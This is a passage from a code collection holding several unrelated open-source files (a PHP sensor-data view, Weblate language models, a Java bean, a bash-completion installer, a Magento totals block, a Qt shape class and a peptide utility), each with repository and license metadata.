} function changeStartDate(calendar, date) { var div = document.getElementById("startDate"); div.innerHTML = formatDate2(calendar.date); startDate = calendar.date; if (timer != null) { clearTimeout(timer); timer = null; } timer = setTimeout(updateDatasets, 2000); } function changeEndDate(calendar, date) { var div = document.getElementById("endDate"); div.innerHTML = formatDate2(calendar.date); endDate = calendar.date; if (timer != null) { clearTimeout(timer); timer = null; } timer = setTimeout(updateDatasets, 2000); } </script> <?php $this->host->load_sensorboxes(); if ($this->errmsg) { ?> <div class="strip"> <div class="content_box frame"> <div class="margin"> <?php echo $this->errmsg; ?> </div> </div> </div> <?php } else if (($this->visitor != NULL) && ($this->host != NULL) && ($this->visitor->id == $this->host->id) && (count($this->host->sensorbox) <= 0)) { echo " COUNT " . count($host->sensorbox) . "\n"; echo " <div class=\"strip\">\n"; echo " <div class=\"content_box frame margin\">\n"; echo " " . _s("For more information about this section, check out the help section") . " (<a href=\"" . url_s('help#sensorbox') . "\">" . _s("here") . "</a>).\n"; echo " </div>\n"; echo " </div>\n"; } else { ?> <div class="strip"> <div class="content_box frame margin"> <?php echo $this->group->name; if (isset($this->group->description) && (strlen($this->group->description) > 0)) { echo ": " . $this->group->description; } ?> </div> </div> <div class="strip"> <div class="content_box frame"> <div class="datepicker margin"> <? /* <?php _p("show data of") ?> <a href="javascript:void(0);" id="endDate" class="date"><?php _p("today") ?></a>. */ ?> <?php _p("show data from") ?> <a href="javascript:void(0);" id="startDate" class="date"><?php echo $start_date ?></a> <?php _p("to") ?> <a href="javascript:void(0);" id="endDate" class="date"><?php echo $end_date ?></a>. <script type="text/javascript"> Calendar.setup( { dateField: 'startDate', triggerElement: 'startDate', selectHandler: changeStartDate } ); <? /**/ ?> Calendar.setup( { dateField: 'endDate', triggerElement: 'endDate', selectHandler: changeEndDate } ); </script> </div> </div> </div> <?php /* if ($this->group->app != $osd_appid) */ /* continue; */ for ($j = 0; $j < count($photostreams); $j++) { $photostream = $photostreams[$j]; $id = 'photostream_' . $photostream->id; $path = "photos/" . $photostream->id . "/$range.json"; ?> <div class="strip"> <div class="content_box frame centered"> <div id="<?php echo $id ?>" class="photostreamviewer"></div> <script type="text/javascript"> var slideshow = new Photostream("<?php echo $id ?>", [], "http://opensensordata.net", ".jpg", 575, 530); slideshows.push(slideshow); </script> </div> </div> <?php } for ($j = 0; $j < count($datastreams); $j++) { $datastream = $datastreams[$j]; if (isset($this->datastreams[$datastream->id])) { $id = 'datastream_' . $datastream->id; ?> <div class="strip"> <div class="content_box frame centered datastreamviewer"> <?php echo "$datastream->name\n" ?> <div id="<?php echo $id ?>" class="datastream margin"></div> <script type="text/javascript"> var graph = new Dygraph(document.getElementById("<?php echo $id ?>"), [], { labels: [ "Date", "<?php echo $datastream->unit ?>" ], includeZero: true, showRangeSelector: false, customBars: true, errorBars: true, drawCallback: function(me, initial) { if (blockRedraw || initial) return; blockRedraw = true; var range = me.xAxisRange(); for (var j = 0; j < graphs.length; j++) { if (graphs[j] == me) continue; graphs[j].updateOptions( { dateWindow: range } ); } blockRedraw = false; } } ); graphs.push(graph); </script> </div> </div> <?php } } } ?> <script type="text/javascript"> updateDatasets(); </script>
hanappe/p2pfoodlab
https/dataset.view.php
PHP
gpl-3.0
12,733
# -*- coding: utf-8 -*- # # Copyright © 2012 - 2019 Michal Čihař <michal@cihar.com> # # This file is part of Weblate <https://weblate.org/> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. # from __future__ import unicode_literals import gettext import re from collections import defaultdict from itertools import chain from appconf import AppConf from django.conf import settings from django.db import models, transaction from django.db.models import Q from django.db.utils import OperationalError from django.urls import reverse from django.utils.encoding import force_text, python_2_unicode_compatible from django.utils.functional import cached_property from django.utils.safestring import mark_safe from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext as _ from django.utils.translation import ugettext_lazy from weblate.lang import data from weblate.langdata import languages from weblate.logger import LOGGER from weblate.trans.util import sort_objects from weblate.utils.stats import LanguageStats from weblate.utils.validators import validate_pluraleq PLURAL_RE = re.compile( r'\s*nplurals\s*=\s*([0-9]+)\s*;\s*plural\s*=\s*([()n0-9!=|&<>+*/%\s?:-]+)' ) PLURAL_TITLE = ''' {name} <i class="fa fa-question-circle text-primary" title="{examples}"></i> ''' COPY_RE = re.compile(r'\([0-9]+\)') def get_plural_type(base_code, pluralequation): """Get correct plural type for language.""" # Remove not needed parenthesis if pluralequation[-1] == ';': pluralequation = pluralequation[:-1] # No plural if pluralequation == '0': return data.PLURAL_NONE # Standard plural equations for mapping in data.PLURAL_MAPPINGS: if pluralequation in mapping[0]: return mapping[1] # Arabic special case if base_code in ('ar',): return data.PLURAL_ARABIC # Log error in case of uknown mapping LOGGER.error( 'Can not guess type of plural for %s: %s', base_code, pluralequation ) return data.PLURAL_UNKNOWN def get_english_lang(): """Return object ID for English language""" try: return Language.objects.get_default().id except (Language.DoesNotExist, OperationalError): return 65535 class LanguageQuerySet(models.QuerySet): # pylint: disable=no-init def get_default(self): """Return default source language object.""" return self.get(code='en') def try_get(self, *args, **kwargs): """Try to get language by code.""" try: return self.get(*args, **kwargs) except (Language.DoesNotExist, Language.MultipleObjectsReturned): return None def parse_lang_country(self, code): """Parse language and country from locale code.""" # Parse private use subtag subtag_pos = code.find('-x-') if subtag_pos != -1: subtag = code[subtag_pos:] code = code[:subtag_pos] else: subtag = '' # Parse the string if '-' in code: lang, country = code.split('-', 1) # Android regional locales if len(country) > 2 and country[0] == 'r': country = country[1:] elif '_' in code: lang, country = code.split('_', 1) elif '+' in code: lang, country = code.split('+', 1) else: lang = code country = None return lang, country, subtag @staticmethod def sanitize_code(code): """Language code sanitization.""" # Strip b+ prefix from Android if code.startswith('b+'): code = code[2:] # Handle duplicate language files eg. "cs (2)" code = COPY_RE.sub('', code) # Remove some unwanted characters code = code.replace(' ', '').replace('(', '').replace(')', '') # Strip leading and trailing . code = code.strip('.') return code def aliases_get(self, code): code = code.lower() codes = ( code, code.replace('+', '_'), code.replace('-', '_'), code.replace('-r', '_'), code.replace('_r', '_') ) for newcode in codes: if newcode in languages.ALIASES: newcode = languages.ALIASES[newcode] ret = self.try_get(code=newcode) if ret is not None: return ret return None def fuzzy_get(self, code, strict=False): """Get matching language for code (the code does not have to be exactly same, cs_CZ is same as cs-CZ) or returns None It also handles Android special naming of regional locales like pt-rBR """ code = self.sanitize_code(code) lookups = [ # First try getting language as is Q(code__iexact=code), # Replace dash with underscore (for things as zh_Hant) Q(code__iexact=code.replace('-', '_')), # Try using name Q(name__iexact=code), ] for lookup in lookups: # First try getting language as is ret = self.try_get(lookup) if ret is not None: return ret # Handle aliases ret = self.aliases_get(code) if ret is not None: return ret # Parse the string lang, country, subtags = self.parse_lang_country(code) # Try "corrected" code if country is not None: if '@' in country: region, variant = country.split('@', 1) country = '{0}@{1}'.format(region.upper(), variant.lower()) elif '_' in country: # Xliff way of defining variants region, variant = country.split('_', 1) country = '{0}@{1}'.format(region.upper(), variant.lower()) else: country = country.upper() newcode = '{0}_{1}'.format(lang.lower(), country) else: newcode = lang.lower() if subtags: newcode += subtags ret = self.try_get(code__iexact=newcode) if ret is not None: return ret # Try canonical variant if (settings.SIMPLIFY_LANGUAGES and newcode.lower() in data.DEFAULT_LANGS): ret = self.try_get(code=lang.lower()) if ret is not None: return ret return None if strict else newcode def auto_get_or_create(self, code, create=True): """Try to get language using fuzzy_get and create it if that fails.""" ret = self.fuzzy_get(code) if isinstance(ret, Language): return ret # Create new one return self.auto_create(ret, create) def auto_create(self, code, create=True): """Automatically create new language based on code and best guess of parameters. """ # Create standard language name = '{0} (generated)'.format(code) if create: lang = self.get_or_create( code=code, defaults={'name': name}, )[0] else: lang = Language(code=code, name=name) baselang = None # Check for different variant if baselang is None and '@' in code: parts = code.split('@') baselang = self.fuzzy_get(code=parts[0], strict=True) # Check for different country if baselang is None and '_' in code or '-' in code: parts = code.replace('-', '_').split('_') baselang = self.fuzzy_get(code=parts[0], strict=True) if baselang is not None: lang.name = baselang.name lang.direction = baselang.direction if create: lang.save() baseplural = baselang.plural lang.plural_set.create( source=Plural.SOURCE_DEFAULT, number=baseplural.number, equation=baseplural.equation, ) elif create: lang.plural_set.create( source=Plural.SOURCE_DEFAULT, number=2, equation='n != 1', ) return lang def setup(self, update): """Create basic set of languages based on languages defined in the languages-data repo. """ # Create Weblate languages for code, name, nplurals, pluraleq in languages.LANGUAGES: lang, created = self.get_or_create( code=code, defaults={'name': name} ) # Get plural type plural_type = get_plural_type(lang.base_code, pluraleq) # Should we update existing? if update: lang.name = name lang.save() plural_data = { 'type': plural_type, 'number': nplurals, 'equation': pluraleq, } try: plural, created = lang.plural_set.get_or_create( source=Plural.SOURCE_DEFAULT, language=lang, defaults=plural_data, ) if not created: modified = False for item in plural_data: if getattr(plural, item) != plural_data[item]: modified = True setattr(plural, item, plural_data[item]) if modified: plural.save() except Plural.MultipleObjectsReturned: continue # Create addditiona plurals for code, _unused, nplurals, pluraleq in languages.EXTRAPLURALS: lang = self.get(code=code) # Get plural type plural_type = get_plural_type(lang.base_code, pluraleq) plural_data = { 'type': plural_type, } plural, created = lang.plural_set.get_or_create( source=Plural.SOURCE_GETTEXT, language=lang, number=nplurals, equation=pluraleq, defaults=plural_data, ) if not created: modified = False for item in plural_data: if getattr(plural, item) != plural_data[item]: modified = True setattr(plural, item, plural_data[item]) if modified: plural.save() def have_translation(self): """Return list of languages which have at least one translation.""" return self.filter(translation__pk__gt=0).distinct().order() def order(self): return self.order_by('name') def order_translated(self): return sort_objects(self) def setup_lang(sender, **kwargs): """Hook for creating basic set of languages on database migration.""" with transaction.atomic(): Language.objects.setup(False) @python_2_unicode_compatible class Language(models.Model): code = models.SlugField( unique=True, verbose_name=ugettext_lazy('Language code'), ) name = models.CharField( max_length=100, verbose_name=ugettext_lazy('Language name'), ) direction = models.CharField( verbose_name=ugettext_lazy('Text direction'), max_length=3, default='ltr', choices=( ('ltr', ugettext_lazy('Left to right')), ('rtl', ugettext_lazy('Right to left')) ), ) objects = LanguageQuerySet.as_manager() class Meta(object): verbose_name = ugettext_lazy('Language') verbose_name_plural = ugettext_lazy('Languages') def __init__(self, *args, **kwargs): """Constructor to initialize some cache properties.""" super(Language, self).__init__(*args, **kwargs) self._plural_examples = {} self.stats = LanguageStats(self) def __str__(self): if self.show_language_code: return '{0} ({1})'.format( _(self.name), self.code ) return _(self.name) @property def show_language_code(self): return self.code not in data.NO_CODE_LANGUAGES def get_absolute_url(self): return reverse('show_language', kwargs={'lang': self.code}) def get_html(self): """Return html attributes for markup in this language, includes language and direction. """ return mark_safe( 'lang="{0}" dir="{1}"'.format(self.code, self.direction) ) def save(self, *args, **kwargs): """Set default direction for language.""" if self.base_code in data.RTL_LANGS: self.direction = 'rtl' else: self.direction = 'ltr' return super(Language, self).save(*args, **kwargs) @cached_property def base_code(self): return self.code.replace('_', '-').split('-')[0] def uses_ngram(self): return self.base_code in ('ja', 'zh', 'ko') @cached_property def plural(self): return self.plural_set.filter(source=Plural.SOURCE_DEFAULT)[0] class PluralQuerySet(models.QuerySet): def order(self): return self.order_by('source') @python_2_unicode_compatible class Plural(models.Model): PLURAL_CHOICES = ( ( data.PLURAL_NONE, pgettext_lazy('Plural type', 'None') ), ( data.PLURAL_ONE_OTHER, pgettext_lazy('Plural type', 'One/other (classic plural)') ), ( data.PLURAL_ONE_FEW_OTHER, pgettext_lazy('Plural type', 'One/few/other (Slavic languages)') ), ( data.PLURAL_ARABIC, pgettext_lazy('Plural type', 'Arabic languages') ), ( data.PLURAL_ZERO_ONE_OTHER, pgettext_lazy('Plural type', 'Zero/one/other') ), ( data.PLURAL_ONE_TWO_OTHER, pgettext_lazy('Plural type', 'One/two/other') ), ( data.PLURAL_ONE_OTHER_TWO, pgettext_lazy('Plural type', 'One/other/two') ), ( data.PLURAL_ONE_TWO_FEW_OTHER, pgettext_lazy('Plural type', 'One/two/few/other') ), ( data.PLURAL_OTHER_ONE_TWO_FEW, pgettext_lazy('Plural type', 'Other/one/two/few') ), ( data.PLURAL_ONE_TWO_THREE_OTHER, pgettext_lazy('Plural type', 'One/two/three/other') ), ( data.PLURAL_ONE_OTHER_ZERO, pgettext_lazy('Plural type', 'One/other/zero') ), ( data.PLURAL_ONE_FEW_MANY_OTHER, pgettext_lazy('Plural type', 'One/few/many/other') ), ( data.PLURAL_TWO_OTHER, pgettext_lazy('Plural type', 'Two/other') ), ( data.PLURAL_ONE_TWO_FEW_MANY_OTHER, pgettext_lazy('Plural type', 'One/two/few/many/other') ), ( data.PLURAL_UNKNOWN, pgettext_lazy('Plural type', 'Unknown') ), ( data.PLURAL_ZERO_ONE_TWO_THREE_SIX_OTHER, pgettext_lazy('Plural type', 'Zero/one/two/three/six/other') ), ) SOURCE_DEFAULT = 0 SOURCE_GETTEXT = 1 SOURCE_MANUAL = 2 source = models.SmallIntegerField( default=SOURCE_DEFAULT, verbose_name=ugettext_lazy('Plural definition source'), choices=( (SOURCE_DEFAULT, ugettext_lazy('Default plural')), (SOURCE_GETTEXT, ugettext_lazy('Plural gettext formula')), (SOURCE_MANUAL, ugettext_lazy('Manually entered formula')), ), ) number = models.SmallIntegerField( default=2, verbose_name=ugettext_lazy('Number of plurals'), ) equation = models.CharField( max_length=400, default='n != 1', validators=[validate_pluraleq], blank=False, verbose_name=ugettext_lazy('Plural equation'), ) type = models.IntegerField( choices=PLURAL_CHOICES, default=data.PLURAL_ONE_OTHER, verbose_name=ugettext_lazy('Plural type'), editable=False, ) language = models.ForeignKey(Language, on_delete=models.deletion.CASCADE) objects = PluralQuerySet.as_manager() class Meta(object): verbose_name = ugettext_lazy('Plural form') verbose_name_plural = ugettext_lazy('Plural forms') def __str__(self): return self.get_type_display() @cached_property def plural_form(self): return 'nplurals={0:d}; plural={1};'.format( self.number, self.equation ) @cached_property def plural_function(self): return gettext.c2py( self.equation if self.equation else '0' ) @cached_property def examples(self): result = defaultdict(list) func = self.plural_function for i in chain(range(0, 10000), range(10000, 2000001, 1000)): ret = func(i) if len(result[ret]) >= 10: continue result[ret].append(str(i)) return result @staticmethod def parse_formula(plurals): matches = PLURAL_RE.match(plurals) if matches is None: raise ValueError('Failed to parse formula') number = int(matches.group(1)) formula = matches.group(2) if not formula: formula = '0' # Try to parse the formula gettext.c2py(formula) return number, formula def same_plural(self, number, equation): """Compare whether given plurals formula matches""" if number != self.number or not equation: return False # Convert formulas to functions ours = self.plural_function theirs = gettext.c2py(equation) # Compare equation results # It would be better to compare formulas, # but this was easier to implement and the performance # is still okay. for i in range(-10, 200): if ours(i) != theirs(i): return False return True def get_plural_label(self, idx): """Return label for plural form.""" return PLURAL_TITLE.format( name=self.get_plural_name(idx), # Translators: Label for plurals with example counts examples=_('For example: {0}').format( ', '.join(self.examples.get(idx, [])) ) ) def get_plural_name(self, idx): """Return name for plural form.""" try: return force_text(data.PLURAL_NAMES[self.type][idx]) except (IndexError, KeyError): if idx == 0: return _('Singular') if idx == 1: return _('Plural') return _('Plural form %d') % idx def list_plurals(self): for i in range(self.number): yield { 'index': i, 'name': self.get_plural_name(i), 'examples': ', '.join(self.examples.get(i, [])) } def save(self, *args, **kwargs): self.type = get_plural_type(self.language.base_code, self.equation) # Try to calculate based on equation if self.type == data.PLURAL_UNKNOWN: for equations, plural in data.PLURAL_MAPPINGS: for equation in equations: if self.same_plural(self.number, equation): self.type = plural break if self.type != data.PLURAL_UNKNOWN: break super(Plural, self).save(*args, **kwargs) def get_absolute_url(self): return '{}#information'.format( reverse('show_language', kwargs={'lang': self.language.code}) ) class WeblateLanguagesConf(AppConf): """Languages settings.""" # Use simple language codes for default language/country combinations SIMPLIFY_LANGUAGES = True class Meta(object): prefix = ''
dontnod/weblate
weblate/lang/models.py
Python
gpl-3.0
20,870
/** * Genji Scrum Tool and Issue Tracker * Copyright (C) 2015 Steinbeis GmbH & Co. KG Task Management Solutions * <a href="http://www.trackplus.com">Genji Scrum Tool</a> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* $Id:$ */ package com.aurel.track.beans.base; import java.io.Serializable; import java.math.BigDecimal; import java.sql.Connection; import java.util.ArrayList; import java.util.Collections; import java.util.Date; import java.util.List; import com.aurel.track.beans.*; /** * Hierarchical categorization of the queries * * You should not use this class directly. It should not even be * extended; all references should be to TFilterCategoryBean */ public abstract class BaseTFilterCategoryBean implements Serializable { /** * whether the bean or its underlying object has changed * since last reading from the database */ private boolean modified = true; /** * false if the underlying object has been read from the database, * true otherwise */ private boolean isNew = true; /** The value for the objectID field */ private Integer objectID; /** The value for the label field */ private String label; /** The value for the repository field */ private Integer repository; /** The value for the filterType field */ private Integer filterType; /** The value for the createdBy field */ private Integer createdBy; /** The value for the project field */ private Integer project; /** The value for the parentID field */ private Integer parentID; /** The value for the sortorder field */ private Integer sortorder; /** The value for the uuid field */ private String uuid; /** * sets whether the bean exists in the database */ public void setNew(boolean isNew) { this.isNew = isNew; } /** * returns whether the bean exists in the database */ public boolean isNew() { return this.isNew; } /** * sets whether the bean or the object it was created from * was modified since the object was last read from the database */ public void setModified(boolean isModified) { this.modified = isModified; } /** * returns whether the bean or the object it was created from * was modified since the object was last read from the database */ public boolean isModified() { return this.modified; } /** * Get the ObjectID * * @return Integer */ public Integer getObjectID () { return objectID; } /** * Set the value of ObjectID * * @param v new value */ public void setObjectID(Integer v) { this.objectID = v; setModified(true); } /** * Get the Label * * @return String */ public String getLabel () { return label; } /** * Set the value of Label * * @param v new value */ public void setLabel(String v) { this.label = v; setModified(true); } /** * Get the Repository * * @return Integer */ public Integer getRepository () { return repository; } /** * Set the value of Repository * * @param v new value */ public void setRepository(Integer v) { this.repository = v; setModified(true); } /** * Get the FilterType * * @return Integer */ public Integer getFilterType () { return filterType; } /** * Set the value of FilterType * * @param v new value */ public void setFilterType(Integer v) { this.filterType = v; setModified(true); } /** * Get the CreatedBy * * @return Integer */ public Integer getCreatedBy () { return createdBy; } /** * Set the value of CreatedBy * * @param v new value */ public void setCreatedBy(Integer v) { this.createdBy = v; setModified(true); } /** * Get the Project * * @return Integer */ public Integer getProject () { return project; } /** * Set the value of Project * * @param v new value */ public void setProject(Integer v) { this.project = v; setModified(true); } /** * Get the ParentID * * @return Integer */ public Integer getParentID () { return parentID; } /** * Set the value of ParentID * * @param v new value */ public void setParentID(Integer v) { this.parentID = v; setModified(true); } /** * Get the Sortorder * * @return Integer */ public Integer getSortorder () { return sortorder; } /** * Set the value of Sortorder * * @param v new value */ public void setSortorder(Integer v) { this.sortorder = v; setModified(true); } /** * Get the Uuid * * @return String */ public String getUuid () { return uuid; } /** * Set the value of Uuid * * @param v new value */ public void setUuid(String v) { this.uuid = v; setModified(true); } private TProjectBean aTProjectBean; /** * sets an associated TProjectBean object * * @param v TProjectBean */ public void setTProjectBean(TProjectBean v) { if (v == null) { setProject((Integer) null); } else { setProject(v.getObjectID()); } aTProjectBean = v; } /** * Get the associated TProjectBean object * * @return the associated TProjectBean object */ public TProjectBean getTProjectBean() { return aTProjectBean; } private TPersonBean aTPersonBean; /** * sets an associated TPersonBean object * * @param v TPersonBean */ public void setTPersonBean(TPersonBean v) { if (v == null) { setCreatedBy((Integer) null); } else { setCreatedBy(v.getObjectID()); } aTPersonBean = v; } /** * Get the associated TPersonBean object * * @return the associated TPersonBean object */ public TPersonBean getTPersonBean() { return aTPersonBean; } private TFilterCategoryBean aTFilterCategoryBeanRelatedByParentID; /** * sets an associated TFilterCategoryBean object * * @param v TFilterCategoryBean */ public void setTFilterCategoryBeanRelatedByParentID(TFilterCategoryBean v) { if (v == null) { setParentID((Integer) null); } else { setParentID(v.getObjectID()); } aTFilterCategoryBeanRelatedByParentID = v; } /** * Get the associated TFilterCategoryBean object * * @return the associated TFilterCategoryBean object */ public TFilterCategoryBean getTFilterCategoryBeanRelatedByParentID() { return aTFilterCategoryBeanRelatedByParentID; } /** * Collection to store aggregation of collTQueryRepositoryBeans */ protected List<TQueryRepositoryBean> collTQueryRepositoryBeans; /** * Returns the collection of TQueryRepositoryBeans */ public List<TQueryRepositoryBean> getTQueryRepositoryBeans() { return collTQueryRepositoryBeans; } /** * Sets the collection of TQueryRepositoryBeans to the specified value */ public void setTQueryRepositoryBeans(List<TQueryRepositoryBean> list) { if (list == null) { collTQueryRepositoryBeans = null; } else { collTQueryRepositoryBeans = new ArrayList<TQueryRepositoryBean>(list); } } }
trackplus/Genji
src/main/java/com/aurel/track/beans/base/BaseTFilterCategoryBean.java
Java
gpl-3.0
8,748
// // Installs the bash completion script // // Load the needed modules var fs = require('fs'); var path = require('path'); // File name constants var BASH_COMPLETION = '/etc/bash_completion.d'; var COMPLETION = path.join(__dirname, '..', 'completion.sh'); // Make sure the bash completion directory exists path.exists(BASH_COMPLETION, function(exists) { if (exists) { fs.stat(BASH_COMPLETION, function(err, stats) { if (err) {fail();} if (stats.isDirectory()) { var cruxCompletion = path.join(BASH_COMPLETION, 'crux'); path.exists(cruxCompletion, function(exists) { if (! exists) { fs.symlink(COMPLETION, cruxCompletion, function(err) { if (err) {fail();} }); } }); } }); } }); // -------------------------------------------------------- // Fail with a standard error message function fail() { console.error([ 'Could not install bash completion. If your system supports this feature, it may', 'be a permissions error (are you using sudo?). You can try installing the bash', 'completion scripts later using `[sudo] npm run-script crux install -g`.' ].join('\n')); process.exit(0); } /* End of file bash-completion.js */
kbjr/node-crux
scripts/bash-completion.js
JavaScript
gpl-3.0
1,206
<?php /** * Indicia, the OPAL Online Recording Toolkit. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see http://www.gnu.org/licenses/gpl.html. * * @package Species Alerts * @subpackage Config * @author Indicia Team * @license http://www.gnu.org/licenses/gpl.html GPL * @link https://github.com/indicia-team/warehouse/ */ $config['register_for_notification_emails_source_types']=array('T','C','V','A','S','VT','M'); // Name to appear in the "From" field for the notifications $config['from']='system';
Indicia-Team/warehouse
modules/species_alerts/config/species_alerts.php.example.php
PHP
gpl-3.0
1,054
<?php /** * Minimum Order Fee extension * * NOTICE OF LICENSE * * This extension is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This extension is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this file. If not, see <http://www.gnu.org/licenses/>. * * @category UnleashedTech_MinOrderFee * @package UnleashedTech_MinOrderFee * @copyright Copyright (c) 2014 Unleashed Technologies, LLC. (http://www.unleashed-technologies.com) * @license https://www.gnu.org/licenses/gpl-3.0.txt */ class UnleashedTech_MinOrderFee_Block_Sales_Order_Totals extends Mage_Sales_Block_Order_Totals { protected function _initTotals() { parent::_initTotals(); $amount = $this->getSource()->getMinOrderFeeAmount(); $baseAmount = $this->getSource()->getBaseMinOrderFeeAmount(); if ($amount > 0) { $this->addTotal(new Varien_Object(array( 'code' => 'min_order_fee', 'value' => $amount, 'base_value'=> $baseAmount, 'label' => Mage::getStoreConfig('sales/minimum_order/small_order_fee_label', $this->getSource()->getStore()) )), 'tax'); } return $this; } }
unleashedtech/min-order-fee-magento
src/code/Block/Sales/Order/Totals.php
PHP
gpl-3.0
1,683
/* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * Copyright (C) 2016 Mark E. Wilson * */ #include <QGraphicsItem> #include <QGraphicsScene> #include <QGraphicsObject> #include <QPainter> #include <QColor> #include <QBrush> #include <QPen> #include <QRectF> #include <QPointF> #include <QDebug> #include <libavoid/router.h> #include <libavoid/shape.h> #include "shims.h" #include "rectangleshape.h" RectangleShape::RectangleShape(const QSize &size, Avoid::Router* router, QGraphicsItem *parent) : ShapeBase(router, parent), mRect(QRectF(0, 0, size.width(), size.height())), mBorder(0.0) { setFlag(QGraphicsItem::ItemIsMovable, true); setFlag(QGraphicsItem::ItemSendsScenePositionChanges, true); setFlag(QGraphicsItem::ItemIsSelectable, true); Avoid::Rectangle rect = convertRectangle(mRect); mShapeRef = new Avoid::ShapeRef(mRouter, rect); mPin = new Avoid::ShapeConnectionPin(mShapeRef, 1, Avoid::ATTACH_POS_CENTRE, Avoid::ATTACH_POS_CENTRE, true, 0.0, Avoid::ConnDirAll); mConnEnd = new Avoid::ConnEnd(mShapeRef, 1); setZValue(1); } QRectF RectangleShape::boundingRect() const { return QRectF(mRect); } void RectangleShape::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget) { Q_UNUSED(option); Q_UNUSED(widget); QPen usePen; QBrush useBrush; if ( isSelected() ) { usePen = QPen(mPen.brush(), mPen.widthF(), Qt::DashLine); useBrush = mBrush; } else { usePen = mPen; useBrush = mBrush; } painter->setPen(usePen); painter->setBrush(useBrush); painter->drawRect(mRect); } QVariant RectangleShape::itemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value) { if ( change == ItemPositionChange ) { QPointF newPos = value.toPointF(); QRectF sceneRect = scene()->sceneRect(); qreal checkX, checkY; checkX = sceneRect.right() - mRect.width() - mBorder; checkY = sceneRect.bottom() - mRect.height() - mBorder; if ( newPos.x() > checkX ) newPos.setX(checkX); else if ( newPos.x() < sceneRect.left() + mBorder ) newPos.setX(mRect.left() + mBorder); if ( newPos.y() > checkY ) newPos.setY(checkY); else if ( newPos.y() < sceneRect.top() + mBorder ) newPos.setY(mRect.top() + mBorder); //qDebug() << "itemChange newPos:" << newPos; Avoid::Rectangle newAvoidRect = convertRectangle(QRectF(newPos.x(), newPos.y(), mRect.width(), mRect.height())); mRouter->moveShape(mShapeRef, newAvoidRect); mRouter->processTransaction(); emit shapeMoved(); return newPos; } return QGraphicsObject::itemChange(change, value); } int RectangleShape::type() const { return Type; } #if 0 void MyRectangleItem::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *mouseEvent) { qDebug() << "DOUBLE CLICK"; } void MyRectangleItem::mouseMoveEvent(QGraphicsSceneMouseEvent *mouseEvent) { qDebug() << "Mouse MOVE"; QGraphicsItem::mouseMoveEvent(mouseEvent); } void MyRectangleItem::mousePressEvent(QGraphicsSceneMouseEvent *mouseEvent) { QGraphicsItem::mousePressEvent(mouseEvent); } void MyRectangleItem::mouseReleaseEvent(QGraphicsSceneMouseEvent *mouseEvent) { QGraphicsItem::mouseReleaseEvent(mouseEvent); } #endif
MarkVTech/DiagramExample
rectangleshape.cpp
C++
gpl-3.0
4,247
package cn.ac.rcpa.bio.proteomics.utils; import java.io.BufferedReader; import java.io.FileReader; import java.io.PrintWriter; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import java.util.regex.Matcher; import java.util.regex.Pattern; import cn.ac.rcpa.bio.proteomics.IIdentifiedPeptide; import cn.ac.rcpa.bio.proteomics.IIdentifiedPeptideHit; import cn.ac.rcpa.bio.proteomics.comparison.IdentifiedPeptideComparator; import cn.ac.rcpa.bio.utils.IsoelectricPointCalculator; import cn.ac.rcpa.filter.IFilter; public class PeptideUtils { private PeptideUtils() { } private static Pattern pureSeqPattern; private static Pattern getPureSeqPattern() { if (pureSeqPattern == null) { pureSeqPattern = Pattern.compile("\\S\\.(\\S+)\\.\\S*"); } return pureSeqPattern; } public static String removeModification(String sequence) { StringBuilder result = new StringBuilder(); for (int i = 0; i < sequence.length(); i++) { char c = sequence.charAt(i); if ('-' == c || '.' == c || (c >= 'A' && c <= 'Z')) { result.append(c); } } return result.toString(); } public static String getMatchPeptideSequence(String sequence) { Matcher matcher = getPureSeqPattern().matcher(sequence); if (matcher.find()) { return matcher.group(1); } else { return sequence; } } public static String getPurePeptideSequence(String sequence) { String tmpPureSequence = getMatchPeptideSequence(sequence); StringBuffer result = new StringBuffer(); for (int i = 0; i < tmpPureSequence.length(); i++) { if (tmpPureSequence.charAt(i) >= 'A' && tmpPureSequence.charAt(i) <= 'Z') { result.append(tmpPureSequence.charAt(i)); } } return result.toString(); } /** * Get peptide sequence whose modification site corresponding to assigned * modifiedAminoacids will be set as '*' and other modification site will be * removed * * @param sequence * String * @param modifiedAminoacids * String * @return String */ public static String getSpecialModifiedPeptideSequence(String sequence, String modifiedAminoacids) { final String matchSequence = getMatchPeptideSequence(sequence); StringBuffer sb = new StringBuffer(); for (int i = 0; i < matchSequence.length(); i++) { if (Character.isLetter(matchSequence.charAt(i))) { sb.append(matchSequence.charAt(i)); } else if 